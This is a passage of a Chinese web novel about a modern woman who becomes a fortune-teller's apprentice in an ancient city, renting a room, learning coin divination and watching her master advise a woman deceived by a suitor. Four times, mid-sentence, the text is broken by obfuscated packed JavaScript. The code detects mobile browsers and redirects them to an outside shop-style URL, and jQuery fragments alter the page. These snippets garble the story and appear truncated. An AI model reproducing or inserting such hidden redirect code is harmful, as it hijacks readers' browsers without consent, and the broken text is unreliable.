闻钰买衣服也不挑,什么便宜就买什么,尺寸有些出入她也不在意,在现代时,想要穿什么修身的、oversize的款式还得特地去挑呢。从衣服到鞋袜,凑齐两身齐全的,一共花掉了八十文,闻钰心痛又宝贝地捂着自己的钱袋子往回走。 接近中午,六月的太阳已经开始晒人了。算命摊和早点摊前都没人,两位摊主也早已见惯了,只坐着有一句没一句地闲聊。刘婶一向眼神好,先瞧见了闻钰,忙笑着招呼:“回来了,屋子找着了吗?” 闻钰走到摊子前将衣服放下,应道:“找到了,契都签了,就在刚才去的宁安巷,离得近,也不贵,同住的娘子瞧着也是个勤快人。” 刘婶听了连连点头,瞧着简直比闻钰本人还高兴:“那确实不错,以后就能安心住下过日子了。” “是啊……”闻钰也有些感叹,怪不得在现代的时候大家都执着于要有自己的房子呢,虽然她只租到个闹鬼的房子,却能清晰地察觉到,此时的她比前两日居无定所的时候安心了太多。 “刘婶,我今日回去就将衣服洗了,过两天晾干就还给你。” 刘婶摆手,“不着急,不着急。” 算命摊无人光顾,闻钰索性就又在客人的位置上坐下了。瞥见手边“算卦十文”的字样,她想起早上阿四来的时候,好奇道:“师父,早上阿四好像只给了五文钱?” 神道长正闭目养神,闻言眼皮子都没掀一下:“他日日一早就来,算的内容也都一样,五文嘛,也算得。” 闻钰恍然大悟,原来是常客啊,那给人打个折确实能理解,别看一下减了一半,十天半月算下来,指不定阿四才是那个花钱最多的客人。 见神道长似乎也没有要再教她些什么的意思,闻钰顺手摸起一枚铜板,研究起上面的图案来。除了铜板正中留了个方便穿绳的孔以外,闻钰意外发现这铜板和现代的硬币还挺像的,都是一面有字,一面刻花。 不过她很少写古代背景的小说,对朝代和历史的研究也不多,不知这“永盛通宝”是什么朝代用的钱币,花也没认出来是个什么品种。 但敢取“永盛”这样的名字,这儿的皇帝显然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481187|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个很有野心的人。 神道长不知什么时候睁开了眼,瞥了眼她手里的铜板又合上了眼,只嘴里叮嘱道:“别偷偷摸摸地就给我顺走了,这可不是一般的钱币。” “我是你徒弟,又不是贼。”闻钰嘀咕了两句,随手抛起铜板,却一个失手没接住,铜板骨碌碌滚落在地。闻钰一瞬间还真生出些做贼心虚的感觉来,抬头见神道长仍闭着眼,才松了口气,轻手轻脚地起身去捡落在旗帜旁的铜板。 余光瞥见旗帜上的字,闻钰又有了新问题:“师父,我还不知道你的名字呢?为什么叫神道长?” 不知为何,她总觉得她师父看起来就不太靠谱的样子,脑中一下就冒出个离谱却又非常合理的答案:“……师父该不会姓神吧?” 神道长倏地睁开眼,那嫌弃的眼神,似乎又在说“我怎么收了个这么没眼力见的徒弟”。 闻钰也觉得是不是自己话太多,问了什么惹人烦的问题,于是老实闭上嘴坐下,却又听对面的神道长从牙缝间小声挤出几个字来:“……我姓沈。” ……还不如姓神呢。闻钰顿时面如菜色,她就说这个师父不靠谱吧,亏她心里还抱有一点点期待,想着万一真是因为厉害才叫这么个名字呢,结果居然是谐音梗。 旁边的刘婶却乐了,看了眼显然不乐意提这事的神道长,笑道:“原先也不叫这个名的,几年前有个外地来的富商,想请你师父上门做法事,也不知那富商是哪里人,那口音重得,一口一个神道长。但别说,换了这个名号后,还真多了不少算卦的人。” 瞥见老头气得胡子都要被吹飞了,闻钰偷偷捂嘴笑。 许是觉得在小徒弟面前丢了脸,神道长咳了两声,打断这个话题:“早上结束得急,还没和你说完——” “天地罗盘你已经看过了,这个复杂些,想要学明白得花不少时间,我之后再慢慢教你。像今早给阿四算的,测吉凶、运势,多用龟甲和铜钱,三枚即可,称作摇卦。” 神道长摆弄着三枚铜钱给闻钰瞧:“若是字的这面朝上,则为阳;若是桂花朝上,则为阴。三枚皆阴,则是大吉;二阴一阳为吉;二阳一阴为平;若是三枚皆阳,就是大凶之兆了。” 闻钰在脑中过了一遍就理明白了,却有些疑惑:“这听起来也不难,那阿四自己抛铜板不就可以吗,为什么每日还要花钱来找师父算?” “你以为这卦是谁都能算的?当初你师祖收我为徒,也是看中了我有此道天赋,为师至今都不敢说自己每一卦皆能算准。普通人的随手一抛,大多时候可没有什么特别的意思。” 这老头还越说越玄乎了,不过闻钰自然也不打算和他争论这个,点点头示意自己听进去了。 “卜卦方式五花八门,这两种也就是常见一些的而已,也容易解读,不容易出错。还有一派卦师信奉缘法,按他们的话来说,世间万物皆有其存在的意义,也都预示着某种吉凶。” 5. 第 5 章 “这是什么意思?随便什么东西都可以用来卜卦吗?” 神道长神情严肃,“是也不是。既是缘法,那这个预示该出现的时候,自然会出现,且不拘泥于形式。” 闻钰没太听明白:“能不能举个例子?” “试想,若一人准备要出远门,收拾行装时,碰倒了一盏灯,或是打碎了一个茶杯,你如何看?” “……可能会有不好的事发生?” “不错,”见她领悟极快,神道长满意点头,“这通常就是预示着凶兆。” 闻钰不由想起在家时,每当家里摔坏些杯子碗勺的,她妈就总会念叨两声“碎碎平安”,好奇道:“那碎碎平安的说法,是真的假的?” “倒也谈不上真假,若是那碎掉的东西同你有缘,或许还真能替你挡一挡灾,但那些普通的茶杯碗盏,哪有什么灵性。碎碎平安的说法,就是世人为求一个心安罢了。” 这番话听起来又玄又有道理,闻钰却意外地被他说服了。不过刚才神道长提到的“卦师”一词倒是新鲜,闻钰没想到这里的神棍似乎都已经发展出一定规模了,甚至还有除了道士、道长以外的名字。 “那做卦师的人多吗?” 神道长木着脸冷哼一声,“多的只有一群自称卦师的半吊子。” 难道这卦师也分什么名门正派和野路子的?闻钰内心感叹,果然有人的地方就少不了各种明争暗斗,就连做神棍也不例外。 一次教太多闻钰也学不会,神道长索性就教到这,反正日子还长着,看多了早晚都能学会。于是闻钰百无聊赖地摆弄了一下午的天地罗盘和龟甲,自然也没能琢磨出个什么来。 而神道长的算命摊,今日并不似给阿四算出来的运势那样好,除了早上来了一个给自家儿子算姻缘的,下午竟无一人光顾。而且不巧,早上那人来的时候还正是闻钰去租房的那会儿,整个过程她也没能瞧见。 眼瞧着师徒俩只能闲坐至傍晚收摊,神道长却忽地问起她租的屋子,打发她回去收拾:“趁西市人还没散,早些回去瞧瞧有没有缺的东西,将该买的都买了,免得晚上要什么没什么。” 虽说闻钰瞧那屋子里东西还算齐全,但被褥、水盆什么的她确实还没准备,所以她也不打算推辞。不过一天下来,她多少还是生出了些给人当徒弟的觉悟,问道:“师父收摊的时候不需要我帮忙么?” 神道长好笑道:“我这点东西,包袱一拎就能走,要你帮什么?” “行,那我真走了?” 闻钰站起身,却眼尖地瞧见神道长脸上似乎有哪里不对劲,又顿住了脚步。 “走吧走吧。”神道长不耐烦地朝她摆手,见她不动,只盯着自己的脸,忽地有些紧张,“怎么?” “师父,”闻钰眯着眼靠近,伏低身子,放轻了声音提醒,“你的胡须好像歪了。” 神道长吓了一跳,猛地抬手去摸自己的胡子,等反应过来自己不该这样激动时已经晚了。 闻钰瞥了眼毫无所觉的刘婶,重新坐回椅子上,扯了扯嘴角:“老实交代吧,师——父——” 神道长已经将胡须重新贴好,听闻钰故意拖长声音,好似在质疑他是个骗子,不太高兴地答道:“为师又没有骗你,和你说的每一句话,可都是实话,教你的东西也都是真的。” “那你为何扮成这样?”闻钰死死盯着他,这人说话也一副其他人都是假道士,自己才是正道传承的语气,谁知道他竟然才是那个真正的骗子呢? 神道长左右瞧了瞧,连忙抬手示意她:“小点声。” 闻钰权当没听见,只不依不饶地催促道:“快说!” “行,我说,你小点声!”神道长压着声音呐喊,生怕自己的招牌就要毁于一旦,随后叹了口气,解释起来。 “我最开始也没有扮成这样的,可是那些出来骗人的假道士,一个个都看起来像仙风道骨的老头子。就算我说自己比他们强,也没有人信我,觉得我年纪轻,看起来就不如那些人厉害,说我才是骗子……” “后来我听说西市有人偷偷在卖这种易容用的东西,就买回来试了一下,没想到那些人根本没认出来是我,只当我是什么从外头新来的厉害道士。”神道长撇撇嘴,“我也瞧不起自己的做法,可是没办法,做这行赚钱也不易。” “而且这幅装扮久了,想要再换回我自己的样子,却是无人能认得了,解释起来反倒横生事端……”神道长说完,瞥了眼面前的闻钰,“我本来也不觉得能瞒你多久,但没料到你第一天就发现了,还一点情面也不留地逼问我……” 这番解释听起来合情合理,闻钰没说信不信,只是换了个姿势,双手环在胸前,继续问:“所以你究竟什么年纪?” “……三十五。”神道长只心虚了一秒,便立刻争辩道,“只要我会的比你多,就能做你师父,年纪有什么重要的。” “嗯,知道了,我先走了。”闻钰跟没事人一样站起身,朝着宁安巷的方向走了两步,又转过头唤了声“师父”。 神道长本还一脸怔愣,随即立马明白了她的意思,大笑着应了一声:“哎,徒弟,你去吧。” 闻钰轻哼一声,心里斥着这人得寸进尺,头也不回地走了。 * 在西市溜达了一圈,闻钰拎着大包小包的回到宁安巷,敲了一会儿门,见半天无人回应,只好掏出了陈家管事给她的钥匙。 推开门,小院里安安静静,安娘子的屋门合着,院里晾着她洗好的衣裳,还正往下滴着水。 寻了处干净地方将东西放下,闻钰换上了新衣服,虽然布料粗糙些,样式也并不多好看,但好歹能穿上她自己的衣服了,一会儿还得打扫屋子,总不好将别人的衣服弄脏弄破了。还得快些将阿兰的衣服洗了晾上,这样过几天也能早些还回去。 闻钰撸起袖子,环视一周新屋,床铺、衣柜、烛台、茶桌以及圆凳都有,东西不少,但应是有些日子没人住了,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481188|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面都落了一层灰。 闻钰走到水井边,摸索了一会儿很快就上手了,刚打上来一桶水,就见安娘子提着菜篮子从外面回来了。 见安娘子进门后满脸惊讶,闻钰连忙放下装满水的木桶,随意在衣服上擦干了手,上前招呼道:“我同陈家签了契,租下了另一间屋子。刚才娘子不在家,我便擅自先进来了,没有吓着你吧?” “没吓着,”安娘子一双细眉如弯月,柔柔笑着回话,“陈家来人知会我了的,我就是没想到闻娘子这么快就搬进来了。” 闻钰松了口气:“那就好。” “方才我瞧娘子在打水?可需要我帮忙?” “多谢娘子,我自己来就好。”闻钰余光里瞥见今早她用过的那个大木盆,又道,“不过,那个木盆,可以借我洗衣服吗?” “当然,这院子里的东西,娘子若需要,尽管直接用就是,我都不介意的。对了,娘子要洗衣服的话,我这还有些草木灰。”安娘子说着就走进小厨房里,从架子上拿出一个木盒,递给闻钰。 闻钰打开盒子,里头都是黑灰色的碎末,这草木灰……听安娘子的意思是用来洗衣服的,但显然不是像洗衣粉那样直接倒水里就行的吧……? 二人面面相觑,闻钰尴尬地捧着盒子问:“这个……要怎么用?” 安娘子一怔,闻钰也不知对方在这短短几秒间脑补出了什么,就连下一刻看向她的目光似乎都不太一样了,好在安娘子仍是耐心地告诉了她使用的方法,随后便进了厨房。 等她走开了,闻钰才狠狠松了一口气,果然还是不要轻易向人问一些常识性的问题,否则估计不是被当成怪人,就是被当成傻子吧。 待小厨房里满溢的烟火味变成菜香味,闻钰也已经洗好了衣服,打扫了房间,懒懒地靠在床边休息。 这屋子落灰也就罢了,待久了还能隐隐约约闻到木头潮湿腐朽的味儿,好在已经是夏天,等之后天气热起来,晒一晒应该能好些。 安娘子却走到了门边,唤道:“闻娘子?” 这躺着的姿势实在不雅观,闻钰又没关房门,小小的屋子一览无余,她连忙坐起身来,应道:“怎么了?” “我特意多做了些菜,闻娘子可要一起吃些?正好也算是为娘子暖房了。” “啊,可是我回来的时候买了饼——”眼见安娘子面上神色逐渐变得失望,闻钰良心不安,立刻调转话头,“那我的饼也分娘子一半吧。” 这院子没有多余的地方另摆餐桌,反正也是为了暖房,二人便在闻钰的屋里摆了碗筷用饭。 安娘子手艺算不得多好,但闻钰本来就不怎么会做菜,更别提古代还得自己烧柴火,为了省钱,肯定也不能总在外面买东西吃,以后少不得要向安娘子多学习,连着道了许多声谢。 二人一顿饭下来,也熟了许多,安娘子眉眼弯弯,受了她的谢,掩唇笑道:“闻娘子不必如此客气,我单名一个巧,以后唤我巧娘就是。” 6. 第 6 章 闻钰自然不会拒绝安娘子的好意,高兴应下:“好,那以后你也唤我钰娘就是。” 二人相视一笑,闻钰也为自己的新室友是这样一个好相处的人而松了口气。 这安巧性子的确如阿四所说那般和善,但闻钰却感觉她瞧着和别人都不一样,虽说都穿着同样布料的衣服,可她的言行举止都很有那种古代贵女的感觉,说话也很有分寸,相处起来一点也累人。 既然别人好心请她吃了一顿饭,闻钰便主动请缨洗碗了。待回到房间,闻钰直直倒在了床上,回想这一天的经历,也算不上忙得团团转,现在却仍是累得腰酸背痛。 太阳早就落了山,闻钰忘了还要买蜡烛,这会儿便也点不了灯,漆黑一片的屋子里,困意自然而然地涌上来。 闻钰随手一扯被子,盖住半个身子,仅剩的意识也在催眠着她—— 睡吧,睡吧,明天就能开启古代新生活的第一天了。 …… 不知是不是因为这里没有闹钟,心里却惦记着要早起,昨晚又睡得太早,闻钰从睡梦中醒来时比前一天还要早,仍是半夜,闻钰估摸着才是凌晨一两点。 屋外一片寂静,昨夜困意来得太快,她都没心思去想阿四口中的闹鬼一说,这会儿在黑暗中忽地忆起,她就有些浑身发凉,耳朵也不自觉地去捕捉能听到的每一丝动静。 有三两声远处传来的狗吠,也有风吹过门窗的窸窣声,可都与鬼婴的哭声扯不上一点干系。莫非是那些人疑神疑鬼,一个听错,之后的人听到点不寻常的声音就害怕,于是也跟着说听见了哭声? 闻钰翻了个身,睡不习惯这里的高枕头,索性将它推远了些,枕在自己的手肘上继续睡觉。 谁知这次她却迟迟无法入睡,迷迷糊糊地翻来覆去,不知过了多久,半梦半醒间却似乎有婴儿哭声传来。 闻钰一个激灵从床上坐了起来,这闹鬼一说,居然是真的吗? 那声音乍一听是从左边传来,仔细去分辨,却又觉得像在右边。虽然这声音和寻常婴儿的哭声无异,可大半夜的,突然听见这样的声音,周围的环境越是安静,这哭声便显得越可怖。闻钰手心难免也冒出些冷汗来,她拿起床边的外衣摸黑披上,刚往门边走了两步,却听那哭声骤然消失了。 闻钰心里又是一紧,在心里默念着“要相信科学”,硬着头皮拉开一条门缝,院中盈盈月光撒了满地,一切都如昨晚睡前那般,安详又宁静。 她缓缓呼出口气,开门出去,站在院中环视一圈,高高的院墙将别家的房屋都遮得严严实实,瞧不出一点异常。 闻钰收回目光,心想也许是自己白天被阿四吓到了,才会觉得自己听见了哭声,说不定就是梦而已吧。 她走到屋门口,余光瞥见安巧的窗户紧紧闭着,上面隐隐还有光影晃动,虽然十分微弱,在这漆黑一片的夜里,却也不至于无法察觉。 难道安巧也是听见了婴儿哭声醒来查看? 走到安巧门外,闻钰犹豫了一下,还是轻轻敲了敲门,低声唤道:“巧娘?” 屋内的烛光仍旧轻巧地晃动着,安巧却过了好一会儿才迟迟来到门边:“是钰娘么?寻我何事?” “没什么……就是听见些声音,起来看看,见你屋子点了灯,就来问一问。你也是听见婴儿哭声才起来的么?” 安巧脸上露出几分疑惑:“哭声么?我好像没注意听……我就是今晚有些睡不着,才起来点了灯,做些针线活,可能做得太入迷了,连钰娘唤我都以为是自己听错了。” “这样啊……”闻钰虽然奇怪,但也没多问,只是见到她身后的烛光,叮嘱一句,“巧娘还是早些睡吧,晚上做针线活多伤眼呀。” “好,正巧我也有些困了,这便回去躺下,多谢钰娘关心。” 闻钰朝她笑了笑,回到自己屋子,被子里仍有些余温,她人却没什么困意了,靠在枕头上,耳朵不自觉地注意着周围的声音。 随着天色渐明,晨光透过窗户落进屋内,远远听见晨钟敲响,巷子里也逐渐开始有行人路过,那婴儿哭声却没再出现过了。 闻钰起来打水洗漱,发现自从到了古代以后,没了手机电脑和网络,整个人的作息都强行被纠正了。从前的她那可是一到晚上就灵感大爆发,常常熬夜码字,导致大学四年里,早八的课迟到了不知多少次。好在她们学院的老师都不太点名,偶尔一两次赶上她不在,室友们也都会帮她应付过关。 想想日夜颠倒的大学时期,再看看现在,太阳没升起来她就已经醒了,太阳刚落山她就去睡觉,简直比她爸妈的作息都离谱。 想到有些日子没见的父母,闻钰心情也瞬间低落下来了。她还回得去现代吗?她的朋友和家人,是不是以后都再也见不到她们了? 安巧从小厨房提着热水壶出来,见闻钰望着天发呆,替她往面前的水盆里倒着水,好笑道:“怎么一大早起来就六神无主的?在想什么?” 闻钰闻言回过神,幽幽叹气:“我只是在想,我怎么就一个人到了这儿来呢。” 安巧闻言脸上笑意也淡了些,低声道:“是啊,以前如何能想到,自己最后竟落得这种下场呢。” 闻钰没想到自己一句随口的感叹,却叫安巧也跟着难过了起来,不由想到阿四说起过,这安娘子也是从外地千里迢迢来到京城的,这么一想,她们其实还挺像的。 虽然二人没聊起过各自的经历,但孤身一人居住在这偌大的京城中,不必明说,却都能明白对方此刻难平的心绪。 水盆里热气腾腾,闻钰笑着谢过了安巧,安巧也收起了那短暂的忧思,拎着水壶进了屋。 厨房里锅上还烧着水,闻钰洗漱完,又蹭了一回安巧的手艺,吃了小半碗素面,便带上自己的小包袱,出门上班——给人当徒弟去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481189|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 她的小包袱里倒也没什么,就是跟着她从现代来的那些东西。虽说有了房子,包里的也不是什么贵重物品,但毕竟是跟着她一起来到古代的东西,陪伴了她更久,在这异世间,对她来说意义也更加的不同。 而且古代的治安不比现代,留在屋子里,万一被人偷了或是瞧见了,都是麻烦,还是带在身上更安心些。 闻钰慢悠悠地出了宁安巷,西市一如既往的热闹,谢过又要请她吃包子的刘婶,闻钰走到算命摊边上,笑着抬手送走了刚算完卦的阿四,探头瞥了眼桌上的三枚铜板——只有一枚桂花的图案朝上。 二阳一阴,是为平卦。 “怪不得我瞧阿四走的时候垂头丧气的呢,原是今日生意一般。” 许是因为徒弟知晓了自己年纪的秘密,神道长也终于不再像之前那样总是故作高深了,二人间的关系一下子就拉近了许多,他赞许地点头夸道:“昨日教你的卦象还记着,不错。” 闻钰受不住这个夸赞,尴尬一笑,老实承认:“我也就只记得这个最简单的,那天地罗盘,每一圈叫什么名字我都已经全忘干净了。” “这算什么,多学多用就是了。当初你师祖教我的时候,光是这摇卦的卦象,我也足足背了两三日才背熟呢。” “不是说师祖见你有天赋才收你做徒弟的么?” “有天赋又不代表我记性好……就是在这一道学得快些,算得准些嘛。” “那我呢?”闻钰好奇凑近,“师父是怎么看出我有天赋的?” “这个……”神道长脸上露出些为难,“我也说不好,可能就是瞧你顺眼些吧,反正一看到你,就觉得你适合当我徒弟。” 没得到答案,闻钰悻悻坐回去,她从前没觉得自己是个这么较真的人,什么都想摸清背后的原理,但想到她写小说的时候其实也是个理论派,似乎也有迹可循。 但可能想要当神棍就得什么都这么含含糊糊的吧,不然话说得太明白了,没有了神秘感,还怎么唬人呢。 不过光靠脑子记还是不可靠,闻钰盯着桌布上黑乎乎的字,突然想到了什么,问:“师父,你这有纸笔吗?” 神道长一脸警惕地看向她:“做什么?我可没钱再借给你了,当初你可是说好的,要写话本子,就自己赚钱去买。” 这个抠门师父!闻钰心里吐槽完,脸上仍是笑:“当然不是为了写话本,徒儿是想将师父教的都记下来,免得又忘了。而且徒儿幼时未曾好好习字,写的字有些……不大好看,比不上师父的字,写得那是一个形神兼备、浑然天成,我还想向师父多请教呢。” 猛然被徒弟这么一顿夸,神道长笑得嘴角都压不住了,那股装腔作势的劲儿又冒了出来:“哪有这么夸张,为师的字,也就堪堪能入眼罢了。” 话音落下,一整套的笔墨纸砚就已经整整齐齐摆在桌面上了。 7. 第 7 章 磨好墨,铺平了纸,闻钰提笔蘸了墨,抖着手就要在左上角开始落笔,好在反应快,想起古代应该是从上到下,从右往左写,连忙收手换了位置,换来神道长怪异的一瞥。 “你这握笔的姿势就不对……” 抬手给她纠正了姿势,神道长对她写的字已经不抱有期待,一脸严肃吩咐道:“你先写几个字给我瞧瞧。” 闻钰努力维持着姿势,提着手腕,小心翼翼地落下一个“摇”字。 瞧着比昨日签租契时写的字好看了些,闻钰松了口气,揉了揉手腕。她的确是想借“记笔记”的机会向神道长学一学繁体字,顺便还能练练毛笔字,但这显然得费不少功夫。 写完这一个字,她甚至都在想要不要放弃写话本了,她要这样抬着手写多少个字才能完成一个故事啊! 不过眼前的工作还是得做,笔记还得继续写,闻钰努力把自己想象成小学一年级的学生,一笔一划地缓慢学习,写下摇卦的卦象和对应的吉凶,耳朵却不自觉地捕捉到附近摊主在闲聊。 “……前几日那阵雷,害我还以为得连着下好几天雨呢,全家一起赶制了这么多雨具,谁知道这几日一滴雨都没落过,这不都白费力气了么!” 刘婶的早点摊子左侧是算命摊,右侧则是一位姓张的娘子的摊子,卖些日常用具,竹伞、蓑衣、竹筐,什么都有。而闻钰这几日路过也都能瞧见挂得满满当当的雨具,她本来还奇怪,想着是不是用来遮阳的呢,没想到背后还有这么个原因。 不过那雷声她却是一点没印象,看来应该是在她穿越前发生的事。 “提前都做好了,过两日要是下雨不就能歇着了么。张娘子安心吧,你家摊子在这都多少年了,哪有做白工的,早晚都能卖出去。” 张娘子本还满脸不高兴,听了刘婶这话立刻便笑了:“我家男人因为这事念叨我好几天了,还是刘婶说话贴心,那就借你吉言了。” “不过前几日那雷声的确吓人得很,我家二妞半夜直接都给吓哭了……在京城这些年哪见过这样的天气,真是奇了怪了。” “兴许是什么大恶人遭了天谴吧,我听说啊,户部有个大官在那雷劈的第二天就被下狱了,说是贪了不知多少黄金白银呢,那是一箱一箱的从府里抬出去啊……” 闻钰埋头写字,一边津津有味地听着贪官的八卦,待她将钱币上的阴阳两面以及对应的四种卦象都写好了,却一直没听见神道长出声点评她的字,抬起头才发现对方不知什么时候又摇了一卦,眉心拧起,盯着三枚铜板不知在想什么。 可是,这三面桂花朝上,不是大吉的卦象么?怎么他瞧着像是不大满意的样子。 “师父在算什么,大吉不好么?” 神道长缓慢摇头:“不是不好,只是……我有些想不明白这卦象。” 这已经是他第三次算几日前的那场雷了,按理说,他不该如此频繁地为同一件事起卦,而这般天象,也绝不会是好事的预兆,他本以为是要有什么灾祸了,可他接连几次算出来的都是大吉,实在是叫他读不懂。 罢了罢了,反正也没个答案,兴许这就是会转危为安的意思吧。神道长收了思绪,往闻钰面前的纸上定睛一瞧,刚缓和了些的脸色又倏地一黑—— 这简直是六七岁刚启蒙的小孩才会写出的字! 他又抽出一张空白的纸,铺在闻钰面前:“先别写字了,从最基础的笔划练起!” “笔握稳了!” “……手捏那么紧做什么,放松!” 早的时候对神道长说的那一长串彩虹屁,还真不是她随口胡诌的。 她观察过,那写着“神道长”的旗帜以及包袱布上“算卦十文”的字样显然是出自一人之手,虽有几分飘逸,但字形端正,落笔有力,一看就是练过的。而她这抠门师父,也不像是会花钱请先生为他题字的人,那就只能是他自己写的了。 只是没想到,这人怎么教写字的时候却比教算卦要严厉十倍……闻钰木着脸,心里有苦说不出,只能一一照做。 余光中似有一个身影靠近,闻钰侧过头,一位身着藕粉色衣裙的小娘子走近,却又有些犹豫地停下脚步,闻钰连忙放下笔,起身收拾了桌上的东西,让出位置招呼她坐下。 站在神道长身后,闻钰揉了揉发酸的手腕,悄悄松了口气。有人来,正好她也能休息会儿。 小娘子脸上神色郁郁,一双纤细的柳眉簇在一起,瞧着就是心事重重的模样。 神道长一甩袖子,坐直身子问道:“这位娘子,有何事要问?” 小娘子沉默片刻,轻声问:“……若不知对方生辰八字,可能算姻缘?” “若想要算得准,那自然还是需要生辰八字——”眼瞧着对面的小娘子面色愈发颓丧,神道长话锋一转,“但若没有,也并非不能算。” 小娘子眼睛微微睁大了些:“那该怎么算?” 神道长将三枚铜钱放入龟甲中,又问:“那位郎君如何称呼?” 见小娘子迟疑,似是不愿说出对方名姓,神道长安抚道:“既然不知生辰八字,那至少也得知晓对方姓甚名谁,若是娘子仍有顾虑,只说姓氏也可,只是这卦象或许就没有那么准了。” 小娘子明显松了口气,回答道:“他姓陈。”顿了顿,她又补上一句,“其实……我主要是想知道他是不是在骗我。” 神道长点头,摇起了龟甲,嘴里似乎默念着什么,却听不见声音。很快,三枚铜钱落到桌上,皆是有字的一面朝上。 除去第一次见到阿四的那次,这还是闻钰第一次正经见到神道长给旁人算卦,于是看得十分认真,见到这大凶的卦象,险些惊呼出声。 神道长倒是格外镇定,抚了抚胡须,问:“娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481190|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子与这陈郎君是如何相识的?” 小娘子看不懂卦象,听神道长这么一问,柳眉又一次蹙起:“道长,是卦象不好么?” “尚不能确定,还请娘子说一说与陈郎君有关的事情吧。” “陈郎他……是从南边来的,本是为了两年前的春闱,借住在村里的亲戚家中,但没考好,落了榜。想着回家路途遥远,花费也多,便留了下来,准备下一次的春闱。可是他那亲戚见他考不上就变了脸,明明收了他的钱,却不给饭吃。这便也罢了,竟还纵容家中独子动手欺辱他……” “我那日正巧从山上采了草药回来,瞧见他身上有伤,便分了他一些,他感激我相助,又送了些自己做的小玩意儿给我,一来一去我们便相熟了。”忆起往昔,小娘子神色也变得温柔起来,“陈郎是个读书人,走不得什么山路,却常常因为担忧我受伤而陪我上山;知道我不识字后,便教我认字、写字……” 神道长认真听着,适时发问:“所以,后来是发生了何事,让娘子这般忧思?” 提及伤心事,小娘子泫然欲泣:“半年前,他说亲戚嫌他给的钱不够,但明年的春闱就要到了,他需要读书,没有时间出去做活挣钱,我便借了些钱给他,让他在亲戚家中能好过些。他也说,待他明年考上了,便立刻写信回家告知家中,向我家提亲。可是……这半年里,我们见面的次数越来越少,几次我上门去找他,他也都以读书当借口不见我,说话的语气也不复从前。” “我本以为是他厌了我,但前几日,他又突然出现,陪着我上山采药,进城来卖,他好像又变成了我们刚认识的样子。可是回家的时候,他却又向我借了钱,说前些日子都是读书太忙,想见我却不能见,免得分了心,影响明年春闱,还说……还说若我实在担心,这两日便可以上门提亲……他从前待我确实很好,可是……可是我现在却有些不知道该不该答应了,我不知道他是不是真的想与我成亲……” 闻钰听到一半就已经猜出了故事的走向,心里愤愤地为小娘子打抱不平,这陈郎君显然就是一个骗钱又骗心的渣男,玩腻了却为了能接着借钱而不愿意分手。神道长怎么还不将卦象告诉这小娘子?这样她也能快些去将自己的钱讨回来。 却听神道长道:“无关卦象,便是只听娘子所说之事,也能分辨出此人并非良人,配不上娘子真心对他,既然娘子对这婚事已有疑虑,想必心中已有答案,还是及时回过头来,莫要一错再错了。” 小娘子闻言一怔,几番欲言又止,最后只道了一声“多谢道长”,留下算卦的十文钱便沉默离开了。 闻钰憋了许久,见人走远了,终于开口问:“师父为何不直接告诉她卦象?那陈郎君分明就是个骗子。” 神道长似乎早预料到她会有此一问,反问:“你可是觉得,为师应该直截了当地告诉她,那陈郎君就是在骗她?” 8. 第 8 章 闻钰奇怪:“她想问的不就是这个么?” “她想知道的,并不一定就是我们该说的。若她是性子烈一些的,敢豁出去找对方要钱,我兴许也就直说了。可你瞧那小娘子的神态,显然不是那样的人。如果话说得太直接,她一个接受不了,做出什么不可挽回的事,那可怎么办?” 神道长徐徐道来,倒也不怪她:“我出师的时候,你师祖问了我一句话,他说,‘知晓真相与未来,就一定是好事吗’。这个问题,我想了这么些年,现在却也不能说有了答案。有些东西,听人说是学不会的,得靠自己悟。” 这个问题就有点哲学了,闻钰听进了心里,接下来这一天都安安静静站在一边学习,发现她师父还真没表面看起来那么不靠谱。 如何把好听的话说得更好听,把不好听的话说得不那么不好听,是一门艺术。而神道长,就是掌管这门艺术的神。 看来这神棍还真没她想的那么好当,不仅要给人算卦,还带着点人生心灵导师的性质。 这天生意不错,一共来了六个人,全都算的摇卦,那天地罗盘就没动过一下。闻钰倒是高兴,越不常用,她就越不必着急学。 